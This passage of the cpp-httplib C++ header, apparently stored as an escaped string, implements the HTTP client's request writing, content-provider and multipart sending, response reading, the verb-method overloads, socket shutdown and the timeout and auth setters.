path, location, error);\n    }\n  }\n}\n\ninline bool ClientImpl::write_content_with_provider(Stream &strm,\n                                                    const Request &req,\n                                                    Error &error) const {\n  auto is_shutting_down = []() { return false; };\n\n  if (req.is_chunked_content_provider_) {\n    // TODO: Brotli support\n    std::unique_ptr<detail::compressor> compressor;\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\n    if (compress_) {\n      compressor = detail::make_unique<detail::gzip_compressor>();\n    } else\n#endif\n    {\n      compressor = detail::make_unique<detail::nocompressor>();\n    }\n\n    return detail::write_content_chunked(strm, req.content_provider_,\n                                         is_shutting_down, *compressor, error);\n  } else {\n    return detail::write_content(strm, req.content_provider_, 0,\n                                 req.content_length_, is_shutting_down, error);\n  }\n}\n\ninline bool ClientImpl::write_request(Stream &strm, Request &req,\n                                      bool close_connection, Error &error) {\n  // Prepare additional headers\n  if (close_connection) {\n    if (!req.has_header(\"Connection\")) {\n      req.set_header(\"Connection\", \"close\");\n    }\n  }\n\n  if (!req.has_header(\"Host\")) {\n    if (is_ssl()) {\n      if (port_ == 443) {\n        req.set_header(\"Host\", host_);\n      } else {\n        req.set_header(\"Host\", host_and_port_);\n      }\n    } else {\n      if (port_ == 80) {\n        req.set_header(\"Host\", host_);\n      } else {\n        req.set_header(\"Host\", host_and_port_);\n      }\n    }\n  }\n\n  if (!req.has_header(\"Accept\")) { req.set_header(\"Accept\", \"*/*\"); }\n\n#ifndef CPPHTTPLIB_NO_DEFAULT_USER_AGENT\n  if (!req.has_header(\"User-Agent\")) {\n    auto agent = std::string(\"cpp-httplib/\") + CPPHTTPLIB_VERSION;\n    req.set_header(\"User-Agent\", agent);\n  }\n#endif\n\n  if (req.body.empty()) {\n    if (req.content_provider_) {\n      if (!req.is_chunked_content_provider_) {\n        if (!req.has_header(\"Content-Length\")) {\n          auto length = std::to_string(req.content_length_);\n          req.set_header(\"Content-Length\", length);\n        }\n      }\n    } else {\n      if (req.method == \"POST\" || req.method == \"PUT\" ||\n          req.method == \"PATCH\") {\n        req.set_header(\"Content-Length\", \"0\");\n      }\n    }\n  } else {\n    if (!req.has_header(\"Content-Type\")) {\n      req.set_header(\"Content-Type\", \"text/plain\");\n    }\n\n    if (!req.has_header(\"Content-Length\")) {\n      auto length = std::to_string(req.body.size());\n      req.set_header(\"Content-Length\", length);\n    }\n  }\n\n  if (!basic_auth_password_.empty() || !basic_auth_username_.empty()) {\n    if (!req.has_header(\"Authorization\")) {\n      req.headers.insert(make_basic_authentication_header(\n          basic_auth_username_, basic_auth_password_, false));\n    }\n  }\n\n  if (!proxy_basic_auth_username_.empty() &&\n      !proxy_basic_auth_password_.empty()) {\n    if (!req.has_header(\"Proxy-Authorization\")) {\n      req.headers.insert(make_basic_authentication_header(\n          proxy_basic_auth_username_, proxy_basic_auth_password_, true));\n    }\n  }\n\n  if (!bearer_token_auth_token_.empty()) {\n    if (!req.has_header(\"Authorization\")) {\n      req.headers.insert(make_bearer_token_authentication_header(\n          bearer_token_auth_token_, false));\n    }\n  }\n\n  if (!proxy_bearer_token_auth_token_.empty()) {\n    if (!req.has_header(\"Proxy-Authorization\")) {\n      req.headers.insert(make_bearer_token_authentication_header(\n          proxy_bearer_token_auth_token_, true));\n    }\n  }\n\n  // Request line and headers\n  {\n    detail::BufferStream bstrm;\n\n    const auto &path = url_encode_ ? detail::encode_url(req.path) : req.path;\n    bstrm.write_format(\"%s %s HTTP/1.1\\r\\n\", req.method.c_str(), path.c_str());\n\n    header_writer_(bstrm, req.headers);\n\n    // Flush buffer\n    auto &data = bstrm.get_buffer();\n    if (!detail::write_data(strm, data.data(), data.size())) {\n      error = Error::Write;\n      return false;\n    }\n  }\n\n  // Body\n  if (req.body.empty()) {\n    return write_content_with_provider(strm, req, error);\n  }\n\n  if (!detail::write_data(strm, req.body.data(), req.body.size())) {\n    error = Error::Write;\n    return false;\n  }\n\n  return true;\n}\n\ninline std::unique_ptr<Response> ClientImpl::send_with_content_provider(\n    Request &req, const char *body, size_t content_length,\n    ContentProvider content_provider,\n    ContentProviderWithoutLength content_provider_without_length,\n    const std::string &content_type, Error &error) {\n  if (!content_type.empty()) { req.set_header(\"Content-Type\", content_type); }\n\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\n  if (compress_) { req.set_header(\"Content-Encoding\", \"gzip\"); }\n#endif\n\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\n  if (compress_ && !content_provider_without_length) {\n    // TODO: Brotli support\n    detail::gzip_compressor compressor;\n\n    if (content_provider) {\n      auto ok = true;\n      size_t offset = 0;\n      DataSink data_sink;\n\n      data_sink.write = [&](const char *data, size_t data_len) -> bool {\n        if (ok) {\n          auto last = offset + data_len == content_length;\n\n          auto ret = compressor.compress(\n              data, data_len, last,\n              [&](const char *compressed_data, size_t compressed_data_len) {\n                req.body.append(compressed_data, compressed_data_len);\n                return true;\n              });\n\n          if (ret) {\n            offset += data_len;\n          } else {\n            ok = false;\n          }\n        }\n        return ok;\n      };\n\n      while (ok && offset < content_length) {\n        if (!content_provider(offset, content_length - offset, data_sink)) {\n          error = Error::Canceled;\n          return nullptr;\n        }\n      }\n    } else {\n      if (!compressor.compress(body, content_length, true,\n                               [&](const char *data, size_t data_len) {\n                                 req.body.append(data, data_len);\n                                 return true;\n                               })) {\n        error = Error::Compression;\n        return nullptr;\n      }\n    }\n  } else\n#endif\n  {\n    if (content_provider) {\n      req.content_length_ = content_length;\n      req.content_provider_ = std::move(content_provider);\n      req.is_chunked_content_provider_ = false;\n    } else if (content_provider_without_length) {\n      req.content_length_ = 0;\n      req.content_provider_ = detail::ContentProviderAdapter(\n          std::move(content_provider_without_length));\n      req.is_chunked_content_provider_ = true;\n      req.set_header(\"Transfer-Encoding\", \"chunked\");\n    } else {\n      req.body.assign(body, content_length);\n    }\n  }\n\n  auto res = detail::make_unique<Response>();\n  return send(req, *res, error) ? std::move(res) : nullptr;\n}\n\ninline Result ClientImpl::send_with_content_provider(\n    const std::string &method, const std::string &path, const Headers &headers,\n    const char *body, size_t content_length, ContentProvider content_provider,\n    ContentProviderWithoutLength content_provider_without_length,\n    const std::string &content_type, Progress progress) {\n  Request req;\n  req.method = method;\n  req.headers = headers;\n  req.path = path;\n  req.progress = progress;\n\n  auto error = Error::Success;\n\n  auto res = send_with_content_provider(\n      req, body, content_length, std::move(content_provider),\n      std::move(content_provider_without_length), content_type, error);\n\n  return Result{std::move(res), error, std::move(req.headers)};\n}\n\ninline std::string\nClientImpl::adjust_host_string(const std::string &host) const {\n  if (host.find(':') != std::string::npos) { return \"[\" + host + \"]\"; }\n  return host;\n}\n\ninline bool ClientImpl::process_request(Stream &strm, Request &req,\n                                        Response &res, bool close_connection,\n                                        Error &error) {\n  // Send request\n  if (!write_request(strm, req, close_connection, error)) { return false; }\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  if (is_ssl()) {\n    auto is_proxy_enabled = !proxy_host_.empty() && proxy_port_ != -1;\n    if (!is_proxy_enabled) {\n      char buf[1];\n      if (SSL_peek(socket_.ssl, buf, 1) == 0 &&\n          SSL_get_error(socket_.ssl, 0) == SSL_ERROR_ZERO_RETURN) {\n        error = Error::SSLPeerCouldBeClosed_;\n        return false;\n      }\n    }\n  }\n#endif\n\n  // Receive response and headers\n  if (!read_response_line(strm, req, res) ||\n      !detail::read_headers(strm, res.headers)) {\n    error = Error::Read;\n    return false;\n  }\n\n  // Body\n  if ((res.status != StatusCode::NoContent_204) && req.method != \"HEAD\" &&\n      req.method != \"CONNECT\") {\n    auto redirect = 300 < res.status && res.status < 400 && follow_location_;\n\n    if (req.response_handler && !redirect) {\n      if (!req.response_handler(res)) {\n        error = Error::Canceled;\n        return false;\n      }\n    }\n\n    auto out =\n        req.content_receiver\n            ? static_cast<ContentReceiverWithProgress>(\n                  [&](const char *buf, size_t n, uint64_t off, uint64_t len) {\n                    if (redirect) { return true; }\n                    auto ret = req.content_receiver(buf, n, off, len);\n                    if (!ret) { error = Error::Canceled; }\n                    return ret;\n                  })\n            : static_cast<ContentReceiverWithProgress>(\n                  [&](const char *buf, size_t n, uint64_t /*off*/,\n                      uint64_t /*len*/) {\n                    if (res.body.size() + n > res.body.max_size()) {\n                      return false;\n                    }\n                    res.body.append(buf, n);\n                    return true;\n                  });\n\n    auto progress = [&](uint64_t current, uint64_t total) {\n      if (!req.progress || redirect) { return true; }\n      auto ret = req.progress(current, total);\n      if (!ret) { error = Error::Canceled; }\n      return ret;\n    };\n\n    int dummy_status;\n    if (!detail::read_content(strm, res, (std::numeric_limits<size_t>::max)(),\n                              dummy_status, std::move(progress), std::move(out),\n                              decompress_)) {\n      if (error != Error::Canceled) { error = Error::Read; }\n      return false;\n    }\n  }\n\n  // Log\n  if (logger_) { logger_(req, res); }\n\n  return true;\n}\n\ninline ContentProviderWithoutLength ClientImpl::get_multipart_content_provider(\n    const std::string &boundary, const MultipartFormDataItems &items,\n    const MultipartFormDataProviderItems &provider_items) const {\n  size_t cur_item = 0;\n  size_t cur_start = 0;\n  // cur_item and cur_start are copied to within the std::function and maintain\n  // state between successive calls\n  return [&, cur_item, cur_start](size_t offset,\n                                  DataSink &sink) mutable -> bool {\n    if (!offset && !items.empty()) {\n      sink.os << detail::serialize_multipart_formdata(items, boundary, false);\n      return true;\n    } else if (cur_item < provider_items.size()) {\n      if (!cur_start) {\n        const auto &begin = detail::serialize_multipart_formdata_item_begin(\n            provider_items[cur_item], boundary);\n        offset += begin.size();\n        cur_start = offset;\n        sink.os << begin;\n      }\n\n      DataSink cur_sink;\n      auto has_data = true;\n      cur_sink.write = sink.write;\n      cur_sink.done = [&]() { has_data = false; };\n\n      if (!provider_items[cur_item].provider(offset - cur_start, cur_sink)) {\n        return false;\n      }\n\n      if (!has_data) {\n        sink.os << detail::serialize_multipart_formdata_item_end();\n        cur_item++;\n        cur_start = 0;\n      }\n      return true;\n    } else {\n      sink.os << detail::serialize_multipart_formdata_finish(boundary);\n      sink.done();\n      return true;\n    }\n  };\n}\n\ninline bool\nClientImpl::process_socket(const Socket &socket,\n                           std::function<bool(Stream &strm)> callback) {\n  return detail::process_client_socket(\n      socket.sock, read_timeout_sec_, read_timeout_usec_, write_timeout_sec_,\n      write_timeout_usec_, std::move(callback));\n}\n\ninline bool ClientImpl::is_ssl() const { return false; }\n\ninline Result ClientImpl::Get(const std::string &path) {\n  return Get(path, Headers(), Progress());\n}\n\ninline Result ClientImpl::Get(const std::string &path, Progress progress) {\n  return Get(path, Headers(), std::move(progress));\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Headers &headers) {\n  return Get(path, headers, Progress());\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Headers &headers,\n                              Progress progress) {\n  Request req;\n  req.method = \"GET\";\n  req.path = path;\n  req.headers = headers;\n  req.progress = std::move(progress);\n\n  return send_(std::move(req));\n}\n\ninline Result ClientImpl::Get(const std::string &path,\n                              ContentReceiver content_receiver) {\n  return Get(path, Headers(), nullptr, std::move(content_receiver), nullptr);\n}\n\ninline Result ClientImpl::Get(const std::string &path,\n                              ContentReceiver content_receiver,\n                              Progress progress) {\n  return Get(path, Headers(), nullptr, std::move(content_receiver),\n             std::move(progress));\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Headers &headers,\n                              ContentReceiver content_receiver) {\n  return Get(path, headers, nullptr, std::move(content_receiver), nullptr);\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Headers &headers,\n                              ContentReceiver content_receiver,\n                              Progress progress) {\n  return Get(path, headers, nullptr, std::move(content_receiver),\n             std::move(progress));\n}\n\ninline Result ClientImpl::Get(const std::string &path,\n                              ResponseHandler response_handler,\n                              ContentReceiver content_receiver) {\n  return Get(path, Headers(), std::move(response_handler),\n             std::move(content_receiver), nullptr);\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Headers &headers,\n                              ResponseHandler response_handler,\n                              ContentReceiver content_receiver) {\n  return Get(path, headers, std::move(response_handler),\n             std::move(content_receiver), nullptr);\n}\n\ninline Result ClientImpl::Get(const std::string &path,\n                              ResponseHandler response_handler,\n                              ContentReceiver content_receiver,\n                              Progress progress) {\n  return Get(path, Headers(), std::move(response_handler),\n             std::move(content_receiver), std::move(progress));\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Headers &headers,\n                              ResponseHandler response_handler,\n                              ContentReceiver content_receiver,\n                              Progress progress) {\n  Request req;\n  req.method = \"GET\";\n  req.path = path;\n  req.headers = headers;\n  req.response_handler = std::move(response_handler);\n  req.content_receiver =\n      [content_receiver](const char *data, size_t data_length,\n                         uint64_t /*offset*/, uint64_t /*total_length*/) {\n        return content_receiver(data, data_length);\n      };\n  req.progress = std::move(progress);\n\n  return send_(std::move(req));\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Params &params,\n                              const Headers &headers, Progress progress) {\n  if (params.empty()) { return Get(path, headers); }\n\n  std::string path_with_query = append_query_params(path, params);\n  return Get(path_with_query, headers, std::move(progress));\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Params &params,\n                              const Headers &headers,\n                              ContentReceiver content_receiver,\n                              Progress progress) {\n  return Get(path, params, headers, nullptr, std::move(content_receiver),\n             std::move(progress));\n}\n\ninline Result ClientImpl::Get(const std::string &path, const Params &params,\n                              const Headers &headers,\n                              ResponseHandler response_handler,\n                              ContentReceiver content_receiver,\n                              Progress progress) {\n  if (params.empty()) {\n    return Get(path, headers, std::move(response_handler),\n               std::move(content_receiver), std::move(progress));\n  }\n\n  std::string path_with_query = append_query_params(path, params);\n  return Get(path_with_query, headers, std::move(response_handler),\n             std::move(content_receiver), std::move(progress));\n}\n\ninline Result ClientImpl::Head(const std::string &path) {\n  return Head(path, Headers());\n}\n\ninline Result ClientImpl::Head(const std::string &path,\n                               const Headers &headers) {\n  Request req;\n  req.method = \"HEAD\";\n  req.headers = headers;\n  req.path = path;\n\n  return send_(std::move(req));\n}\n\ninline Result ClientImpl::Post(const std::string &path) {\n  return Post(path, std::string(), std::string());\n}\n\ninline Result ClientImpl::Post(const std::string &path,\n                               const Headers &headers) {\n  return Post(path, headers, nullptr, 0, std::string());\n}\n\ninline Result ClientImpl::Post(const std::string &path, const char *body,\n                               size_t content_length,\n                               const std::string &content_type) {\n  return Post(path, Headers(), body, content_length, content_type, nullptr);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               const char *body, size_t content_length,\n                               const std::string &content_type) {\n  return send_with_content_provider(\"POST\", path, headers, body, content_length,\n                                    nullptr, nullptr, content_type, nullptr);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               const char *body, size_t content_length,\n                               const std::string &content_type,\n                               Progress progress) {\n  return send_with_content_provider(\"POST\", path, headers, body, content_length,\n                                    nullptr, nullptr, content_type, progress);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const std::string &body,\n                               const std::string &content_type) {\n  return Post(path, Headers(), body, content_type);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const std::string &body,\n                               const std::string &content_type,\n                               Progress progress) {\n  return Post(path, Headers(), body, content_type, progress);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               const std::string &body,\n                               const std::string &content_type) {\n  return send_with_content_provider(\"POST\", path, headers, body.data(),\n                                    body.size(), nullptr, nullptr, content_type,\n                                    nullptr);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               const std::string &body,\n                               const std::string &content_type,\n                               Progress progress) {\n  return send_with_content_provider(\"POST\", path, headers, body.data(),\n                                    body.size(), nullptr, nullptr, content_type,\n                                    progress);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Params &params) {\n  return Post(path, Headers(), params);\n}\n\ninline Result ClientImpl::Post(const std::string &path, size_t content_length,\n                               ContentProvider content_provider,\n                               const std::string &content_type) {\n  return Post(path, Headers(), content_length, std::move(content_provider),\n              content_type);\n}\n\ninline Result ClientImpl::Post(const std::string &path,\n                               ContentProviderWithoutLength content_provider,\n                               const std::string &content_type) {\n  return Post(path, Headers(), std::move(content_provider), content_type);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               size_t content_length,\n                               ContentProvider content_provider,\n                               const std::string &content_type) {\n  return send_with_content_provider(\"POST\", path, headers, nullptr,\n                                    content_length, std::move(content_provider),\n                                    nullptr, content_type, nullptr);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               ContentProviderWithoutLength content_provider,\n                               const std::string &content_type) {\n  return send_with_content_provider(\"POST\", path, headers, nullptr, 0, nullptr,\n                                    std::move(content_provider), content_type,\n                                    nullptr);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               const Params &params) {\n  auto query = detail::params_to_query_str(params);\n  return Post(path, headers, query, \"application/x-www-form-urlencoded\");\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               const Params &params, Progress progress) {\n  auto query = detail::params_to_query_str(params);\n  return Post(path, headers, query, \"application/x-www-form-urlencoded\",\n              progress);\n}\n\ninline Result ClientImpl::Post(const std::string &path,\n                               const MultipartFormDataItems &items) {\n  return Post(path, Headers(), items);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               const MultipartFormDataItems &items) {\n  const auto &boundary = detail::make_multipart_data_boundary();\n  const auto &content_type =\n      detail::serialize_multipart_formdata_get_content_type(boundary);\n  const auto &body = detail::serialize_multipart_formdata(items, boundary);\n  return Post(path, headers, body, content_type);\n}\n\ninline Result ClientImpl::Post(const std::string &path, const Headers &headers,\n                               const MultipartFormDataItems &items,\n                               const std::string &boundary) {\n  if (!detail::is_multipart_boundary_chars_valid(boundary)) {\n    return Result{nullptr, Error::UnsupportedMultipartBoundaryChars};\n  }\n\n  const auto &content_type =\n      detail::serialize_multipart_formdata_get_content_type(boundary);\n  const auto &body = detail::serialize_multipart_formdata(items, boundary);\n  return Post(path, headers, body, content_type);\n}\n\ninline Result\nClientImpl::Post(const std::string &path, const Headers &headers,\n                 const MultipartFormDataItems &items,\n                 const MultipartFormDataProviderItems &provider_items) {\n  const auto &boundary = detail::make_multipart_data_boundary();\n  const auto &content_type =\n      detail::serialize_multipart_formdata_get_content_type(boundary);\n  return send_with_content_provider(\n      \"POST\", path, headers, nullptr, 0, nullptr,\n      get_multipart_content_provider(boundary, items, provider_items),\n      content_type, nullptr);\n}\n\ninline Result ClientImpl::Put(const std::string &path) {\n  return Put(path, std::string(), std::string());\n}\n\ninline Result ClientImpl::Put(const std::string &path, const char *body,\n                              size_t content_length,\n                              const std::string &content_type) {\n  return Put(path, Headers(), body, content_length, content_type);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              const char *body, size_t content_length,\n                              const std::string &content_type) {\n  return send_with_content_provider(\"PUT\", path, headers, body, content_length,\n                                    nullptr, nullptr, content_type, nullptr);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              const char *body, size_t content_length,\n                              const std::string &content_type,\n                              Progress progress) {\n  return send_with_content_provider(\"PUT\", path, headers, body, content_length,\n                                    nullptr, nullptr, content_type, progress);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const std::string &body,\n                              const std::string &content_type) {\n  return Put(path, Headers(), body, content_type);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const std::string &body,\n                              const std::string &content_type,\n                              Progress progress) {\n  return Put(path, Headers(), body, content_type, progress);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              const std::string &body,\n                              const std::string &content_type) {\n  return send_with_content_provider(\"PUT\", path, headers, body.data(),\n                                    body.size(), nullptr, nullptr, content_type,\n                                    nullptr);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              const std::string &body,\n                              const std::string &content_type,\n                              Progress progress) {\n  return send_with_content_provider(\"PUT\", path, headers, body.data(),\n                                    body.size(), nullptr, nullptr, content_type,\n                                    progress);\n}\n\ninline Result ClientImpl::Put(const std::string &path, size_t content_length,\n                              ContentProvider content_provider,\n                              const std::string &content_type) {\n  return Put(path, Headers(), content_length, std::move(content_provider),\n             content_type);\n}\n\ninline Result ClientImpl::Put(const std::string &path,\n                              ContentProviderWithoutLength content_provider,\n                              const std::string &content_type) {\n  return Put(path, Headers(), std::move(content_provider), content_type);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              size_t content_length,\n                              ContentProvider content_provider,\n                              const std::string &content_type) {\n  return send_with_content_provider(\"PUT\", path, headers, nullptr,\n                                    content_length, std::move(content_provider),\n                                    nullptr, content_type, nullptr);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              ContentProviderWithoutLength content_provider,\n                              const std::string &content_type) {\n  return send_with_content_provider(\"PUT\", path, headers, nullptr, 0, nullptr,\n                                    std::move(content_provider), content_type,\n                                    nullptr);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Params &params) {\n  return Put(path, Headers(), params);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              const Params &params) {\n  auto query = detail::params_to_query_str(params);\n  return Put(path, headers, query, \"application/x-www-form-urlencoded\");\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              const Params &params, Progress progress) {\n  auto query = detail::params_to_query_str(params);\n  return Put(path, headers, query, \"application/x-www-form-urlencoded\",\n             progress);\n}\n\ninline Result ClientImpl::Put(const std::string &path,\n                              const MultipartFormDataItems &items) {\n  return Put(path, Headers(), items);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              const MultipartFormDataItems &items) {\n  const auto &boundary = detail::make_multipart_data_boundary();\n  const auto &content_type =\n      detail::serialize_multipart_formdata_get_content_type(boundary);\n  const auto &body = detail::serialize_multipart_formdata(items, boundary);\n  return Put(path, headers, body, content_type);\n}\n\ninline Result ClientImpl::Put(const std::string &path, const Headers &headers,\n                              const MultipartFormDataItems &items,\n                              const std::string &boundary) {\n  if (!detail::is_multipart_boundary_chars_valid(boundary)) {\n    return Result{nullptr, Error::UnsupportedMultipartBoundaryChars};\n  }\n\n  const auto &content_type =\n      detail::serialize_multipart_formdata_get_content_type(boundary);\n  const auto &body = detail::serialize_multipart_formdata(items, boundary);\n  return Put(path, headers, body, content_type);\n}\n\ninline Result\nClientImpl::Put(const std::string &path, const Headers &headers,\n                const MultipartFormDataItems &items,\n                const MultipartFormDataProviderItems &provider_items) {\n  const auto &boundary = detail::make_multipart_data_boundary();\n  const auto &content_type =\n      detail::serialize_multipart_formdata_get_content_type(boundary);\n  return send_with_content_provider(\n      \"PUT\", path, headers, nullptr, 0, nullptr,\n      get_multipart_content_provider(boundary, items, provider_items),\n      content_type, nullptr);\n}\ninline Result ClientImpl::Patch(const std::string &path) {\n  return Patch(path, std::string(), std::string());\n}\n\ninline Result ClientImpl::Patch(const std::string &path, const char *body,\n                                size_t content_length,\n                                const std::string &content_type) {\n  return Patch(path, Headers(), body, content_length, content_type);\n}\n\ninline Result ClientImpl::Patch(const std::string &path, const char *body,\n                                size_t content_length,\n                                const std::string &content_type,\n                                Progress progress) {\n  return Patch(path, Headers(), body, content_length, content_type, progress);\n}\n\ninline Result ClientImpl::Patch(const std::string &path, const Headers &headers,\n                                const char *body, size_t content_length,\n                                const std::string &content_type) {\n  return Patch(path, headers, body, content_length, content_type, nullptr);\n}\n\ninline Result ClientImpl::Patch(const std::string &path, const Headers &headers,\n                                const char *body, size_t content_length,\n                                const std::string &content_type,\n                                Progress progress) {\n  return send_with_content_provider(\"PATCH\", path, headers, body,\n                                    content_length, nullptr, nullptr,\n                                    content_type, progress);\n}\n\ninline Result ClientImpl::Patch(const std::string &path,\n                                const std::string &body,\n                                const std::string &content_type) {\n  return Patch(path, Headers(), body, content_type);\n}\n\ninline Result ClientImpl::Patch(const std::string &path,\n                                const std::string &body,\n                                const std::string &content_type,\n                                Progress progress) {\n  return Patch(path, Headers(), body, content_type, progress);\n}\n\ninline Result ClientImpl::Patch(const std::string &path, const Headers &headers,\n                                const std::string &body,\n                                const std::string &content_type) {\n  return Patch(path, headers, body, content_type, nullptr);\n}\n\ninline Result ClientImpl::Patch(const std::string &path, const Headers &headers,\n                                const std::string &body,\n                                const std::string &content_type,\n                                Progress progress) {\n  return send_with_content_provider(\"PATCH\", path, headers, body.data(),\n                                    body.size(), nullptr, nullptr, content_type,\n                                    progress);\n}\n\ninline Result ClientImpl::Patch(const std::string &path, size_t content_length,\n                                ContentProvider content_provider,\n                                const std::string &content_type) {\n  return Patch(path, Headers(), content_length, std::move(content_provider),\n               content_type);\n}\n\ninline Result ClientImpl::Patch(const std::string &path,\n                                ContentProviderWithoutLength content_provider,\n                                const std::string &content_type) {\n  return Patch(path, Headers(), std::move(content_provider), content_type);\n}\n\ninline Result ClientImpl::Patch(const std::string &path, const Headers &headers,\n                                size_t content_length,\n                                ContentProvider content_provider,\n                                const std::string &content_type) {\n  return send_with_content_provider(\"PATCH\", path, headers, nullptr,\n                                    content_length, std::move(content_provider),\n                                    nullptr, content_type, nullptr);\n}\n\ninline Result ClientImpl::Patch(const std::string &path, const Headers &headers,\n                                ContentProviderWithoutLength content_provider,\n                                const std::string &content_type) {\n  return send_with_content_provider(\"PATCH\", path, headers, nullptr, 0, nullptr,\n                                    std::move(content_provider), content_type,\n                                    nullptr);\n}\n\ninline Result ClientImpl::Delete(const std::string &path) {\n  return Delete(path, Headers(), std::string(), std::string());\n}\n\ninline Result ClientImpl::Delete(const std::string &path,\n                                 const Headers &headers) {\n  return Delete(path, headers, std::string(), std::string());\n}\n\ninline Result ClientImpl::Delete(const std::string &path, const char *body,\n                                 size_t content_length,\n                                 const std::string &content_type) {\n  return Delete(path, Headers(), body, content_length, content_type);\n}\n\ninline Result ClientImpl::Delete(const std::string &path, const char *body,\n                                 size_t content_length,\n                                 const std::string &content_type,\n                                 Progress progress) {\n  return Delete(path, Headers(), body, content_length, content_type, progress);\n}\n\ninline Result ClientImpl::Delete(const std::string &path,\n                                 const Headers &headers, const char *body,\n                                 size_t content_length,\n                                 const std::string &content_type) {\n  return Delete(path, headers, body, content_length, content_type, nullptr);\n}\n\ninline Result ClientImpl::Delete(const std::string &path,\n                                 const Headers &headers, const char *body,\n                                 size_t content_length,\n                                 const std::string &content_type,\n                                 Progress progress) {\n  Request req;\n  req.method = \"DELETE\";\n  req.headers = headers;\n  req.path = path;\n  req.progress = progress;\n\n  if (!content_type.empty()) { req.set_header(\"Content-Type\", content_type); }\n  req.body.assign(body, content_length);\n\n  return send_(std::move(req));\n}\n\ninline Result ClientImpl::Delete(const std::string &path,\n                                 const std::string &body,\n                                 const std::string &content_type) {\n  return Delete(path, Headers(), body.data(), body.size(), content_type);\n}\n\ninline Result ClientImpl::Delete(const std::string &path,\n                                 const std::string &body,\n                                 const std::string &content_type,\n                                 Progress progress) {\n  return Delete(path, Headers(), body.data(), body.size(), content_type,\n                progress);\n}\n\ninline Result ClientImpl::Delete(const std::string &path,\n                                 const Headers &headers,\n                                 const std::string &body,\n                                 const std::string &content_type) {\n  return Delete(path, headers, body.data(), body.size(), content_type);\n}\n\ninline Result ClientImpl::Delete(const std::string &path,\n                                 const Headers &headers,\n                                 const std::string &body,\n                                 const std::string &content_type,\n                                 Progress progress) {\n  return Delete(path, headers, body.data(), body.size(), content_type,\n                progress);\n}\n\ninline Result ClientImpl::Options(const std::string &path) {\n  return Options(path, Headers());\n}\n\ninline Result ClientImpl::Options(const std::string &path,\n                                  const Headers &headers) {\n  Request req;\n  req.method = \"OPTIONS\";\n  req.headers = headers;\n  req.path = path;\n\n  return send_(std::move(req));\n}\n\ninline void ClientImpl::stop() {\n  std::lock_guard<std::mutex> guard(socket_mutex_);\n\n  // If there is anything ongoing right now, the ONLY thread-safe thing we can\n  // do is to shutdown_socket, so that threads using this socket suddenly\n  // discover they can't read/write any more and error out. Everything else\n  // (closing the socket, shutting ssl down) is unsafe because these actions are\n  // not thread-safe.\n  if (socket_requests_in_flight_ > 0) {\n    shutdown_socket(socket_);\n\n    // Aside from that, we set a flag for the socket to be closed when we're\n    // done.\n    socket_should_be_closed_when_request_is_done_ = true;\n    return;\n  }\n\n  // Otherwise, still holding the mutex, we can shut everything down ourselves\n  shutdown_ssl(socket_, true);\n  shutdown_socket(socket_);\n  close_socket(socket_);\n}\n\ninline std::string ClientImpl::host() const { return host_; }\n\ninline int ClientImpl::port() const { return port_; }\n\ninline size_t ClientImpl::is_socket_open() const {\n  std::lock_guard<std::mutex> guard(socket_mutex_);\n  return socket_.is_open();\n}\n\ninline socket_t ClientImpl::socket() const { return socket_.sock; }\n\ninline void ClientImpl::set_connection_timeout(time_t sec, time_t usec) {\n  connection_timeout_sec_ = sec;\n  connection_timeout_usec_ = usec;\n}\n\ninline void ClientImpl::set_read_timeout(time_t sec, time_t usec) {\n  read_timeout_sec_ = sec;\n  read_timeout_usec_ = usec;\n}\n\ninline void ClientImpl::set_write_timeout(time_t sec, time_t usec) {\n  write_timeout_sec_ = sec;\n  write_timeout_usec_ = usec;\n}\n\ninline void ClientImpl::set_basic_auth(const std::string &username,\n                                       const std::string &password) {\n  basic_auth_username_ = username;\n  basic_auth_password_ = password;\n}\n\ninline void ClientImpl::set_bearer_token_auth(const std::string &token) {\n  bearer_token_auth_token_ = token;\n}\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\ninline void ClientImpl::set_digest_auth(const std::string &username,\n                                        const std::string &password) {\n  digest_auth_username_ = username;\n  digest_auth_password_ = password;\n}\n#endif\n\ninline void ClientImpl::set_keep_alive(bool on) { keep_alive_ = on; }\n\ninline void ClientImpl::set_follow_location(bool on) { follow_location_ = on; }\n\ninline void ClientImpl::set_url_encode(bool on) { url_encode_ = on; }\n\ninline 